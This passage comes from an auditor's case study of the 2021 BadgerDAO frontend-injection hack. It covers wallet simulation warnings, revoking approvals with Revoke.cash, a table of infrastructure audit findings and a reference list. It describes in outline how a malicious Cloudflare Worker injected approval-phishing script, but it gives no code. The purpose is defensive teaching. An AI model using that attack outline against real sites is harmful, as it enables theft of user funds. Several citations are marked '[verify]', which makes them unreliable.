0x1fcdb04d…to spend an unlimited amount of your wBTC.” - Spender reputation lookup: is the spender a known contract (Uniswap router, OpenSea, etc.), a known dApp’s vault, or an EOA with no prior interactions from this user? Warn aggressively on the last case.
Rabby (2022+), Frame, MetaMask Snaps, and the Safe-app simulation pop-up all do flavors of this now. Users on these wallets in 2021 — if any had existed — would have seen “you’re about to grant an unlimited approval to an EOA that no Badger contract knows about” and (some of them, hopefully) clicked reject.
This is defense-in-depth at the user layer, and it’s why pushing your audience to a simulating wallet is a meaningful security action.
7.7 The user-side cleanup — Revoke.cash and approve(spender, 0)
When the next BadgerDAO-style incident happens (and it will), the user-side response is:
- Stop using the dApp — disconnect wallet.
- Go to revoke.cash — connect wallet, scan for approvals.
- Revoke every approval to a spender you don’t recognize — particularly EOAs and recently-deployed contracts.
- Move funds if practical — for very-high-value wallets, transfer to a clean address you haven’t connected to anything.
Revoke.cash is the indispensable post-incident tool. It scans every ERC-20, ERC-721, and ERC-1155 approval your wallet has granted, displays them with spender labels, and submits approve(spender, 0) transactions for each one you select. It is also useful as a preventive hygiene tool: revoke approvals to dApps you no longer use, periodically.
Auditors should include “tell users to check Revoke.cash periodically” in any post-launch user-security briefing.
8. What You Would Have Caught
If BadgerDAO had hired you for a comprehensive audit in October 2021 — smart contracts + frontend + infrastructure — what would have fired? Walk through the engagement as a senior auditor.
8.1 Smart-contract review
You’d review the Setts, the strategies, the controller, the governance. Findings would likely include the usual things — strategy parameterization risk, oracle dependencies, governance timelock recommendations. You would not have found the bug that led to the loss, because the bug was not in the contracts. This is the lesson: an excellent smart-contract audit, perfectly executed, can fail to prevent the entire loss.
8.2 Frontend / infrastructure review — the findings that would have mattered
Walking through Badger’s setup in October 2021 with 2026 eyes:
| Finding | Severity | What you’d recommend |
|---|---|---|
| No inventory of Cloudflare API tokens | Critical | Enumerate every API token; document scope, owner, creation date, last-use; rotate quarterly |
| No FIDO2 hardware-key MFA on Cloudflare admin accounts | Critical | All admins on Yubikeys; TOTP and SMS unacceptable for prod admin |
| No audit-log monitoring on Cloudflare | High | Forward Cloudflare audit logs to SIEM / Discord; alert on API key creation, Worker deployment, DNS changes |
| No external bundle-integrity monitor | Critical | Cron from independent infra that asserts SHA-256 of served HTML/JS matches expected |
| No CI-only Worker deploy | High | Disallow console-driven Worker edits; require CI pipeline, signed commits, multi-reviewer approval |
| No CSP header set on app.badger.com | Medium | CSP with script-src 'self' <pinned-hosts>, connect-src restricted, default-src 'none' |
| No SRI on third-party scripts | Medium | All third-party <script> tags use integrity= |
| No in-page approval-warning UX | High | Frontend reads back the calldata it just constructed and shows the user: “you’re about to approve X spender for Y amount of Z token” — independent of wallet UX |
| Offboarding runbook does not cover npm / Cloudflare / Vercel keys | High | Document and test that every former employee’s tokens are revoked across all SaaS |
| No documented frontend-incident runbook | Medium | First-60-minutes playbook: pause contracts, post Discord, instruct users to Revoke.cash, rotate keys, engage forensics |
The pattern: none of these are smart-contract findings. All of them, individually, would have raised the cost of the attack. Several of them, in combination, would have prevented it outright.
8.3 The 60-second auditor verdict
“The contracts are well-engineered. The audit findings on Solidity are minor. The protocol is, however, materially exposed to frontend-supply-chain attack: any actor with Cloudflare write access can deploy a Worker that mutates served HTML to inject malicious approval-phishing JS targeting Badger’s specific vault selectors and high-balance users. There is no detection control for this scenario. Severity: critical. Likelihood: medium-high given the attacker incentives (100M.”
That paragraph, delivered to the Badger team in October 2021, with a fixed-fee follow-on engagement to implement the listed controls, is the world where BadgerDAO doesn’t get drained. The auditor who would have written it is the auditor we’re training you to be.
8.4 What this teaches about audit methodology
- Scope wide, then narrow with the client’s risk appetite. Default to broad scope, document the surface, and let the client explicitly drop what they don’t want covered (with a signed acknowledgment of the residual risk).
- Threat-model from the attacker’s incentive, not the engineering team’s worldview. A $1B TVL protocol attracts APT-grade attention. “We’re a small team and only our contracts are audited” is not a threat-model statement; it’s a hope.
- Operational security findings are first-class audit deliverables. “Rotate API tokens quarterly” is as legitimate a finding as “fix this CEI violation.” Don’t down-grade ops findings to “informational” just because they aren’t Solidity.
- The post-mortem is a checklist for the next engagement. Every post-mortem published — Badger, Curve frontend, Galxe DNS, Ledger Connect Kit, Bybit/Safe-UI — yields new auditor-checklist items. Read them all.
9. References
Primary post-mortems and analyses
- BadgerDAO — Technical Post-Mortem (Dec 2021): https://www.badger.tools/technical-post-mortem
- Halborn — “Explained: The BadgerDAO Hack (December 2021)”: https://www.halborn.com/blog/post/explained-the-badgerdao-hack-december-2021
- Microsoft Security Blog — “‘Ice phishing’ on the blockchain” (Feb 16, 2022): https://www.microsoft.com/en-us/security/blog/2022/02/16/ice-phishing-on-the-blockchain/
- ZenGo — “The BadgerDAO Hack: What really happened and why it matters”: https://zengo.com/the-badgerdao-hack-what-really-happened-and-why-it-matters/
- ZenGo-X —
badger_dao_script_analysis(GitHub): https://github.com/ZenGo-X/badger_dao_script_analysis - Beaver Finance — “DeFi Security Lecture 4: Front-end Attack”: https://medium.com/beaver-finance/defi-security-lecture-4-front-end-attack-44f32ca0cd68
News coverage (incident-day and follow-up)
- CoinDesk — “BadgerDAO Reveals Details of How It Was Hacked for $120M” (Dec 10, 2021): https://www.coindesk.com/business/2021/12/10/badgerdao-reveals-details-of-how-it-was-hacked-for-120m
- The Block — “DeFi protocol BadgerDAO exploited for $120M in front-end attack” (Dec 2, 2021): https://www.theblock.co/post/126072/defi-protocol-badgerdao-exploited-for-120-million-in-front-end-attack
- Bloomberg Law — “BadgerDAO Says Cloudflare Flaw Led to $130 Million Heist”: https://news.bloomberglaw.com/securities-law/badgerdao-says-cloudflare-flaw-led-to-130-million-heist
- CoinTelegraph — “BadgerDAO reportedly suffers security breach, losing $120M”: https://cointelegraph.com/news/badgerdao-reportedly-suffers-security-breach-and-loses-10m
- Watcher.guru — “A Bitcoiner Lost 900 BTC in a DeFi Attack: BadgerDAO”: https://watcher.guru/news/a-bitcoiner-lost-900-btc-in-a-defi-attack-badgerdao
- TechPowerUp — “BadgerDAO Sees $120M Crypto Heist via Cloudflare Hack”: https://www.techpowerup.com/289569/badgerdao-sees-usd-120-million-crypto-heist-via-cloudflare-hack
- TRM Labs — “TRM Investigates: BadgerDAO DeFi Protocol Hacked”: https://www.trmlabs.com/resources/blog/trm-investigates-badgerdao-defi-protocol-hacked
Cloudflare-side
- Cloudflare Workers documentation: https://developers.cloudflare.com/workers/
- Cloudflare Page Shield / Client-Side Security: https://developers.cloudflare.com/client-side-security/
- Cloudflare blog: “Client-Side Security: smarter detection, now open to everyone”: https://blog.cloudflare.com/client-side-security-open-to-everyone/
- Christophe Tafani-Dereeper — “Abusing Cloudflare Workers” (background on Worker-abuse for malicious traffic): https://blog.christophetd.fr/abusing-cloudflare-workers/
Key on-chain artifacts
- Attacker EOA:
0x1fcdb04d0c5364fbd92c73ca8af9baa72c269107— https://etherscan.io/address/0x1fcdb04d0c5364fbd92c73ca8af9baa72c269107 - Attacker test wallet (denylisted by the script):
0x38b8F6af1D55CAa0676F1cbB33b344d8122535C2[verify creation date Oct 22, 2021] - Badger Sett vault contracts: https://docs.badger.com/badger-finance/contracts [verify URL]
User-side mitigations
- Revoke.cash: https://revoke.cash
- Rabby Wallet (transaction simulation): https://rabby.io
- Microsoft Forta “Ice Phishing” detection agent (open source — search Forta Network’s bot directory)
Related case studies in this vault
- Tuan-13-Frontend-dApp-Infrastructure — the systematic treatment of this surface
- Case-Galxe-Frontend-Hijack-2023 — DNS variant of the same class
- Case-Radiant-Capital-2024 — dev-workstation-compromise variant
- Case-The-DAO-Reentrancy-2016 — the prototype “smart contract bug” case, for contrast
Quadriga Initiative database entry (incident metadata)
- “Dec 2021 - BadgerDAO Malicious Code Injected”: https://www.quadrigainitiative.com/casestudy/badgerdaomaliciouscodeinjected.php
Celsius angle
- White & Case LLP — Celsius bankruptcy filings (Stretto): https://cases.stretto.com/celsius [verify exact path — used to reference DeFi exposures]
- Various press reporting on Celsius’s BadgerDAO exposure [verify — never officially confirmed]
Last updated: 2026-05-16 See also: Tuan-13-Frontend-dApp-Infrastructure · Tuan-12-Wallet-AA-Key-Management · Case-Galxe-Frontend-Hijack-2023 · Case-Radiant-Capital-2024 · Case-The-DAO-Reentrancy-2016 · audit-checklist-master · Roadmap · References